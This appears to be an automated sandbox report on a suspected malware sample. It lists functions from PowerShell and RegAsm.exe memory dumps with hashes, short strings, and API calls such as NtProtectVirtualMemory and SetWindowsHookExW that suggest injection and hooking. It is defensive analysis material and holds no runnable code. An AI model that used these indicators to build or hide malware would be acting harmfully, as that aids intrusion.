Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2217395560.00007FF849010000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f8b90fba606b2fb75787e6ffbdf85890822af37ed21137438c0b2ed06d18d94
Instruction ID: f0a04030932f37c28282e3c1e1e33c1a42ebcb7cf2037b47b349e8f22eda8ab5
Opcode Fuzzy Hash: 0f8b90fba606b2fb75787e6ffbdf85890822af37ed21137438c0b2ed06d18d94
Instruction Fuzzy Hash: 41222631D0EBD59FEBA6AB3858261757FF1EF56250B0901FBD088C7093EA199C46C392

Function 00007FF84901274D Relevance: .6, Instructions: 642
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2217395560.00007FF849010000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54b59cd2d48bfd00a6f0ef617c6c1c7f693954da9655742fb91d92f6f082fd1f
Instruction ID: b0f69239e27128b774c1489fa2e35220f3118f9e66f01931285bd550dff7bac9
Opcode Fuzzy Hash: 54b59cd2d48bfd00a6f0ef617c6c1c7f693954da9655742fb91d92f6f082fd1f
Instruction Fuzzy Hash: 1602273290EAC99FEBA5EB2C58565B57BE1EF56360F0801BBD04DC7093EA19EC05C351

Function 00007FF8490123CA Relevance: .1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2217395560.00007FF849010000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b3d08975ebebe799e89dfc078b801f60edcf23c01250aed5a4bb1915ab99f75
Instruction ID: db57b7c7058deb0d5d407b6a90d3ea33426232ad7ffbe943421d2778e4b388e7
Opcode Fuzzy Hash: 2b3d08975ebebe799e89dfc078b801f60edcf23c01250aed5a4bb1915ab99f75
Instruction Fuzzy Hash: 36412922E1FEC78FFBBABB2C186627465D1EF956A0B4800B9D40EC71D7EE0DD8444215

Function 00007FF84901077D Relevance: .1, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2217395560.00007FF849010000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849010000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea166d5409d51efaf0b3aaeabd022689c2a5f8f76e29502b0909833192165a7
Instruction ID: b8e22e1b940740d425ca9d9defbbde1e08702ec4c141bd70b88416ec4869ea1f
Opcode Fuzzy Hash: 8ea166d5409d51efaf0b3aaeabd022689c2a5f8f76e29502b0909833192165a7
Instruction Fuzzy Hash: AA213D33E1FAEA8FF6B56A2C241207565E1EF416A0B5801BAD08DD31C3FD1DDC464285

Non-executed Functions

Function 00007FF848F4E318 Relevance: 18.4, Strings: 14, Instructions: 888COMMON

Download Yara Rule

Strings

H!I, xrefs: 00007FF848F7E42D
H!I, xrefs: 00007FF848F7DF64
EH_H, xrefs: 00007FF848F7DF6E
H!I, xrefs: 00007FF848F7E171
H!I, xrefs: 00007FF848F7DEB5
H!I, xrefs: 00007FF848F7E220
H!I, xrefs: 00007FF848F7E0C2
H!I, xrefs: 00007FF848F7E37E
H!I, xrefs: 00007FF848F7E013
H!I, xrefs: 00007FF848F7DD5E
+, xrefs: 00007FF848F7E442
H!I, xrefs: 00007FF848F7E2CF
H!I, xrefs: 00007FF848F7DE02
m, xrefs: 00007FF848F7DCAA

Memory Dump Source

Source File: 00000005.00000002.2216065926.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f40000_powershell.jbxd

Similarity

API ID:
String ID: +$EH_H$m$H!I$H!I$H!I$H!I$H!I$H!I$H!I$H!I$H!I$H!I$H!I
API String ID: 0-711912471
Opcode ID: c16085112dc127267ba12eddc5a6da5621a2dbb58df4b33c1e0ba3096d8de380
Instruction ID: e2fd8877a358f373b1e6ad970f69795dc97dcfbe1af3026cc6557e2688515702
Opcode Fuzzy Hash: c16085112dc127267ba12eddc5a6da5621a2dbb58df4b33c1e0ba3096d8de380
Instruction Fuzzy Hash: 95627B70E08A499FE799EF18D8557A9B7E1FB58744F1001BEE04DD32C2CF3869828B56

Function 00007FF848F5CEA0 Relevance: 2.1, Strings: 1, Instructions: 834COMMON

Download Yara Rule

Strings

mJ_H, xrefs: 00007FF848F5CF3F

Memory Dump Source

Source File: 00000005.00000002.2216065926.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f40000_powershell.jbxd

Similarity

API ID:
String ID: mJ_H
API String ID: 0-3491852525
Opcode ID: 22f7ae8b9d6bf968cb770358aba935b92fd5fbf3dd4aa66b41b6beefee2f6450
Instruction ID: 471174dd4deba6e86e5f50e07491a9c23abcec340183879c6657732c623fe105
Opcode Fuzzy Hash: 22f7ae8b9d6bf968cb770358aba935b92fd5fbf3dd4aa66b41b6beefee2f6450
Instruction Fuzzy Hash: 34427E30A1DA4A8FEB94FB2CD455A79B7E1FF98780F0401B9E40EC72D6DE24E8428745

Function 00007FF848F4EAD8 Relevance: 2.0, Strings: 1, Instructions: 748COMMON

Download Yara Rule

Strings

J_I, xrefs: 00007FF848F701A3

Memory Dump Source

Source File: 00000005.00000002.2216065926.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f40000_powershell.jbxd

Similarity

API ID:
String ID: J_I
API String ID: 0-1685172687
Opcode ID: ba300fb121d9bc1afd30501cada56aaaa6b54da2a1940816fa2deeb6f7019dd7
Instruction ID: b175081b2a46a3ffef95cedf7a7ff40c76c05274b3d36b68d1c1cdf830fc8623
Opcode Fuzzy Hash: ba300fb121d9bc1afd30501cada56aaaa6b54da2a1940816fa2deeb6f7019dd7
Instruction Fuzzy Hash: 9322D431A1CE4A5FF798BB28945267573D2FF98794F44427DE44EC32C3DF28A8028689

Analysis Process: RegAsm.exePID: 7796, Parent PID: 7580COMMON

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5%
Total number of Nodes:	60
Total number of Limit Nodes:	4

Executed Functions

Function 013A2F19 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 463
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 013A33F9

Strings

4|bq, xrefs: 013A331D

Memory Dump Source

Source File: 0000000D.00000002.4514615119.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_13a0000_RegAsm.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: 4|bq
API String ID: 2706961497-1932486993
Opcode ID: a3ad38b95781d066d22ee357d2333e68747399656ea7880bec34850b31db6719
Instruction ID: 4556534e6bbba54247814278c48f4cba02b0ebc54afa837d140815a14849ed81
Opcode Fuzzy Hash: a3ad38b95781d066d22ee357d2333e68747399656ea7880bec34850b31db6719
Instruction Fuzzy Hash: 25E16F31F042194BDF54DAADCC903EE76A3FBC4328F988229DA16DB785EA7499029741

Function 013A3370 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 013A33F9

Memory Dump Source

Source File: 0000000D.00000002.4514615119.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_13a0000_RegAsm.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e1916e09f1fc2fcb702418cdbf9f4de795ecf61705d7a60f32c357caf88c2b26
Instruction ID: 2df1df491f31283f36e2cd42c38a2a84e23123813fc66907986c12412c30b1b0
Opcode Fuzzy Hash: e1916e09f1fc2fcb702418cdbf9f4de795ecf61705d7a60f32c357caf88c2b26
Instruction Fuzzy Hash: 122114B5D013499FCB10DFAAD980ADEFBF5FF48310F60842AE519A7210C779A945CBA0

Function 013A96EA Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 013A9776
GetCurrentThread.KERNEL32 ref: 013A97B3
GetCurrentProcess.KERNEL32 ref: 013A97F0
GetCurrentThreadId.KERNEL32 ref: 013A9849

Memory Dump Source

Source File: 0000000D.00000002.4514615119.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_13a0000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f17982664231e3299bd8022041e6396520bad88892293d1d22c302b0f92aaad5
Instruction ID: fbbfa3e037f390b444ee5f4d0cc5e030269e7761fd464a10e736edfe5726b913
Opcode Fuzzy Hash: f17982664231e3299bd8022041e6396520bad88892293d1d22c302b0f92aaad5
Instruction Fuzzy Hash: E55166B09002098FDB14DFA9D588BAEBFF5EF48318F248559E019A7360DB389984CB61

Function 013A96F8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 013A9776
GetCurrentThread.KERNEL32 ref: 013A97B3
GetCurrentProcess.KERNEL32 ref: 013A97F0
GetCurrentThreadId.KERNEL32 ref: 013A9849

Memory Dump Source

Source File: 0000000D.00000002.4514615119.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_13a0000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 60998aa31f1ff6b3032cbc674082192b5dfe8e2fb700bfc7b6ad548d46d3c1d1
Instruction ID: a43e82258d5e2ff2e8fb74cfb990073225ccbb493c82a51cd5b7ec1eca2d9668
Opcode Fuzzy Hash: 60998aa31f1ff6b3032cbc674082192b5dfe8e2fb700bfc7b6ad548d46d3c1d1
Instruction Fuzzy Hash: 775145B09002098FDB14DFAAD548BAEBFF5FF48318F248559E019B7360DB389984CB65

Function 06DF48C8 Relevance: 2.8, Strings: 2, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 06DF4C18
$]q, xrefs: 06DF4909

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: (aq$$]q
API String ID: 0-4138597747
Opcode ID: cc4e086537efe2d654a59391d41281bfbcb8c63e5d1a620ec89823c28472a7c5
Instruction ID: 683e6f35608df88a6be9cf57ad59cd365578edcd9e3108f3ba585ebbfc4a6c37
Opcode Fuzzy Hash: cc4e086537efe2d654a59391d41281bfbcb8c63e5d1a620ec89823c28472a7c5
Instruction Fuzzy Hash: AEB16074B002059FCB48EF6DD850A6EBBEAFFC8610F258969E909DB355DE34DC0187A1

Function 06DF2178 Relevance: 2.7, Strings: 2, Instructions: 227COMMON

Download Yara Rule

Strings

(aq, xrefs: 06DF23FC
(aq, xrefs: 06DF23D0

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: (aq$(aq
API String ID: 0-3916115647
Opcode ID: 6efe1e70d8158e1ace1bf46bd54b5bca601f5db40a4438460cba9a43198f1005
Instruction ID: d3c2766418f4f1f3b4e63c2a98662bd9511f7a1bb5429330441a407277bd877c
Opcode Fuzzy Hash: 6efe1e70d8158e1ace1bf46bd54b5bca601f5db40a4438460cba9a43198f1005
Instruction Fuzzy Hash: E381B135B102068FDB58DFA9D8906AEBBB2FB88310F158529EA06D7384DB35DD51CBD0

Function 06DF2ECA Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

4']q, xrefs: 06DF3044
,aq, xrefs: 06DF2EF0

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: ,aq$4']q
API String ID: 0-1214544875
Opcode ID: 3f53441c0a156ae7205acbb3489f58d96b7914c3b14a69080d2e9ea331b764c4
Instruction ID: b15792362daa33228f1c07a8e0144804f7b158170e3a83436d514de5bc133bb6
Opcode Fuzzy Hash: 3f53441c0a156ae7205acbb3489f58d96b7914c3b14a69080d2e9ea331b764c4
Instruction Fuzzy Hash: ED51C075B142059FCB44DFBDC8909AEBBF6AFC9210B12806AD50ADB369DE34DD0187E1

Function 06DF5FF0 Relevance: 2.6, Strings: 2, Instructions: 111COMMON

Download Yara Rule

Strings

$]q, xrefs: 06DF602F
$]q, xrefs: 06DF6025

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 4d61e85646ea4d484ebb514396107d2d4299758a84d036dee1a5ab86f68385c8
Instruction ID: 57b1327bf51f9c0c3a6b7f3a336e2e33380e6de9ec961ffc15e32cd16bf59d0d
Opcode Fuzzy Hash: 4d61e85646ea4d484ebb514396107d2d4299758a84d036dee1a5ab86f68385c8
Instruction Fuzzy Hash: 5B418B34B10440CFC7886F6AD64842ABBB7FB84B0573A8844D2468BB55CFB2DD12CBC2

Function 067D0F40 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,04166FB4,0319AEA4), ref: 067D0FD6

Memory Dump Source

Source File: 0000000D.00000002.4537594285.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_67d0000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: c352cbf6bc8294025370c8aa9fd44f19d5c37e2f123ebf88e8c12080e9b966be
Instruction ID: a1b82b551dd12f31f7fd5595151c5a472a586182369a9b7449d52a2ea17bb111
Opcode Fuzzy Hash: c352cbf6bc8294025370c8aa9fd44f19d5c37e2f123ebf88e8c12080e9b966be
Instruction Fuzzy Hash: B23172303402009FC748EB69E954B5A7BFAFF85624B508968D1068F3A9DF75DD49CBD0

Function 05C44684 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05C46AA1

Memory Dump Source

Source File: 0000000D.00000002.4536673190.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5c40000_RegAsm.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 62738fb97f6115c9939075b504fe1d00072b6e85347253135f60c2d917239517
Instruction ID: d94564eeb3050b44ee4c6239a5c2ac2852005f188c0b78cae2509046c6bfc181
Opcode Fuzzy Hash: 62738fb97f6115c9939075b504fe1d00072b6e85347253135f60c2d917239517
Instruction Fuzzy Hash: 8A4127B5900605DFDB14CF99C488EAABBF5FF89314F24C859D519AB324D374A981CFA0

Function 067D0F31 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,04166FB4,0319AEA4), ref: 067D0FD6

Memory Dump Source

Source File: 0000000D.00000002.4537594285.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_67d0000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 2b076aef43e8dd4fe2df9353330837af0e9fa19a4e5c88c81d8b34b4ecca83fa
Instruction ID: 91f62bb7800af6fb7323f7c415dbb63160fa50127cd48d4e468987512c280614
Opcode Fuzzy Hash: 2b076aef43e8dd4fe2df9353330837af0e9fa19a4e5c88c81d8b34b4ecca83fa
Instruction Fuzzy Hash: 6C31D1703402009FC348EF29D550E5A7BF6FF86224B4088A9D10ACF3A5DB75ED49CB80

Function 013A9938 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 013A99C7

Memory Dump Source

Source File: 0000000D.00000002.4514615119.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_13a0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4d30b3da7241d5af668cc2857b84ae0ebd5cb8be03c7e9d5da7547505d559bba
Instruction ID: c433abe309b3314c049ff526bb7d20d5eaab3e713f920aa1147994b4b31870f6
Opcode Fuzzy Hash: 4d30b3da7241d5af668cc2857b84ae0ebd5cb8be03c7e9d5da7547505d559bba
Instruction Fuzzy Hash: EF21C2B5900249EFDB10CFAAD984ADEBBF5EB48314F14841AE918B3310D378A954CFA1

Function 013A9940 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 013A99C7

Memory Dump Source

Source File: 0000000D.00000002.4514615119.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_13a0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 56df32a5517701f48d9ef3ea35117586143fc70d976f61c55d8c2ed6e116e861
Instruction ID: a88f4a198abc6d0aa9806a0fb200c1d72d34314ec41da9aa89187636eb0068e5
Opcode Fuzzy Hash: 56df32a5517701f48d9ef3ea35117586143fc70d976f61c55d8c2ed6e116e861
Instruction Fuzzy Hash: FB21C4B5900249AFDB10CF9AD984ADEBFF4EB48714F14841AE918A3310D378A944CFA5

Function 013A4438 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 013A44BB

Memory Dump Source

Source File: 0000000D.00000002.4514615119.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_13a0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 2d4ffa9b563b56bc1a7e01922a9f6a380872d1e509728f48d6488f2e92efb0e8
Instruction ID: d8eee16b378d8516de1780e03614d77c48331abfd1a3c884859c3430d2c39b14
Opcode Fuzzy Hash: 2d4ffa9b563b56bc1a7e01922a9f6a380872d1e509728f48d6488f2e92efb0e8
Instruction Fuzzy Hash: 192165B59002099FDB14CFAAC844BEEFBF4FF88314F148429E458A7250C778A941CFA1

Function 013A4440 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 013A44BB

Memory Dump Source

Source File: 0000000D.00000002.4514615119.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_13a0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: dd0900118250a0e8cc087a589f5f644926de790c6b451054c85b73bec6d8726e
Instruction ID: e99cbb5294a804469ff6a502f75eacfd40ccd64ae36b1d1ad286944d5ac0e555
Opcode Fuzzy Hash: dd0900118250a0e8cc087a589f5f644926de790c6b451054c85b73bec6d8726e
Instruction Fuzzy Hash: 332115B59002099FDB14DF9AC944BEEFBF5EF88314F148429D419A7250C778A945CFA1

Function 05C481E8 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 05C4907D

Memory Dump Source

Source File: 0000000D.00000002.4536673190.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5c40000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c6f753bdd8823c07bbaa4deeeb0ec52ca72e37834c98cdf4c243d84d6a0ce479
Instruction ID: 45de8731902d774439509b94d5045c1e419c35ab058c37b099335ea58743818e
Opcode Fuzzy Hash: c6f753bdd8823c07bbaa4deeeb0ec52ca72e37834c98cdf4c243d84d6a0ce479
Instruction Fuzzy Hash: 0D1115B58047488FCB20DF9AD544BDEBBF8EB48324F108459E519A7310C378A944CFA5

Function 05C49020 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 05C4907D

Memory Dump Source

Source File: 0000000D.00000002.4536673190.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5c40000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 4f401eb793b2a27f2ba95593e6793449e8a94b953a97b112b94c1891470fc565
Instruction ID: 23b80edc6b5ea8643d6b21d14f95ea54463b13eb336f6e9963efd11169292fe2
Opcode Fuzzy Hash: 4f401eb793b2a27f2ba95593e6793449e8a94b953a97b112b94c1891470fc565
Instruction Fuzzy Hash: D01115B18007488FCB20DF9AD549B9EFFF4EB48720F208459E519A7310C378A684CFA1

Function 06DF0EF8 Relevance: 1.5, Strings: 1, Instructions: 267COMMON

Download Yara Rule

Strings

(aq, xrefs: 06DF0FA5

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 2da18e556b5c4145a199e1fd406857f93a468f2b9bf8c2bf4c3f2c14c3fd2db5
Instruction ID: 9b1558ca85b4b8b2df1694337b365493bd2c4f578882805f8feaedc29ecdbb8e
Opcode Fuzzy Hash: 2da18e556b5c4145a199e1fd406857f93a468f2b9bf8c2bf4c3f2c14c3fd2db5
Instruction Fuzzy Hash: 5091F535B042059FCB55DF29D880AABBBE6FFC5320B19856AE519CB356CB30EC05C7A0

Function 06DF6B18 Relevance: 1.5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

Strings

xaq, xrefs: 06DF6E5E

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: xaq
API String ID: 0-793007810
Opcode ID: edf1e55a44377e58462480a70b7a0204a1ca604090ff9f577a1be64b36fde899
Instruction ID: 4ba42222ddcfb72980bdf0f1265858e63a13dc780fb2d227bf8b390fc9aea3e8
Opcode Fuzzy Hash: edf1e55a44377e58462480a70b7a0204a1ca604090ff9f577a1be64b36fde899
Instruction Fuzzy Hash: 2B91BF70D58349CFD784CF19EA48758BBB2FB80355FA1892AC912AB290C774F891CF81

Function 06DF67F0 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06DF688E

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 9aa859f343783c419caab1a363a5e82dd3c289643763b47f377d691c6e89a813
Instruction ID: 180b5ab71f5c998c64e12dbaf9350a4236265b1d6c0689ab2269c8aeb5a6d63f
Opcode Fuzzy Hash: 9aa859f343783c419caab1a363a5e82dd3c289643763b47f377d691c6e89a813
Instruction Fuzzy Hash: 74519C70A50205DFE714DF6AD958B69BBB1FF89710F214159E511AB3E0CBB1EC81CB90

Function 06DF4800 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

$]q, xrefs: 06DF483C

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 8ca429347756662f61c61015267b19621e0fc3289d39ea2f9f2f73d923f49094
Instruction ID: 4a534449059265cc5b5ea003a81ac0368bb45dae68950c30a52016b625f1f48d
Opcode Fuzzy Hash: 8ca429347756662f61c61015267b19621e0fc3289d39ea2f9f2f73d923f49094
Instruction Fuzzy Hash: A111BB31B502445FC7189F7EE850AAA7BEAAFC5350719807AEA01CB275CA65CC42C7B0

Function 06DF5EF8 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06DF5F22

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 02e5c636217d7a463a08248e2f391da26495c2a19a5d3c67ca8ace2ee4f0e6d3
Instruction ID: eae8bd3bdbc59e23d3d0b6c00f25fb1825c17ffafd4e0b6c56bde488acf3bebd
Opcode Fuzzy Hash: 02e5c636217d7a463a08248e2f391da26495c2a19a5d3c67ca8ace2ee4f0e6d3
Instruction Fuzzy Hash: DE215E31720115DFDB84EF68D558BAA77F6AF88B10F214099E206DB3A5DBB09C01CB95

Function 06DF5F08 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06DF5F22

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 614ad2178113dabb235cab8c3debfdfc3cff993b9202bfbdf5858c836f734f13
Instruction ID: 13ba931314ba8c7cf7f3b03b0b9d944a952e98a6c890cdac15fe1150579f4f89
Opcode Fuzzy Hash: 614ad2178113dabb235cab8c3debfdfc3cff993b9202bfbdf5858c836f734f13
Instruction Fuzzy Hash: 422181307201159FDB849B68D558BAE77F6AF88B10F214199E206DB3A5CF70CC01CB91

Function 06DF66D9 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06DF6703

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6df0000_RegAsm.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: ea1976a7ef43b8fc9eec0fb99526a52d7fb615996378191bda9ce5ace1740687
Instruction ID: 82e57107acf2dbaef4bee3e005092234138c757a7f113949e5ae024f075be274
Opcode Fuzzy Hash: ea1976a7ef43b8fc9eec0fb99526a52d7fb615996378191bda9ce5ace1740687
Instruction Fuzzy Hash: 94118130B50204DFDB549F69C895FAEBBF6EF88B10F154059EA06AB3A5CB719C41CB90

Function 06DF7287 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06DF72B5

Memory Dump Source

Source File: 0000000D.00000002.4538378664.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

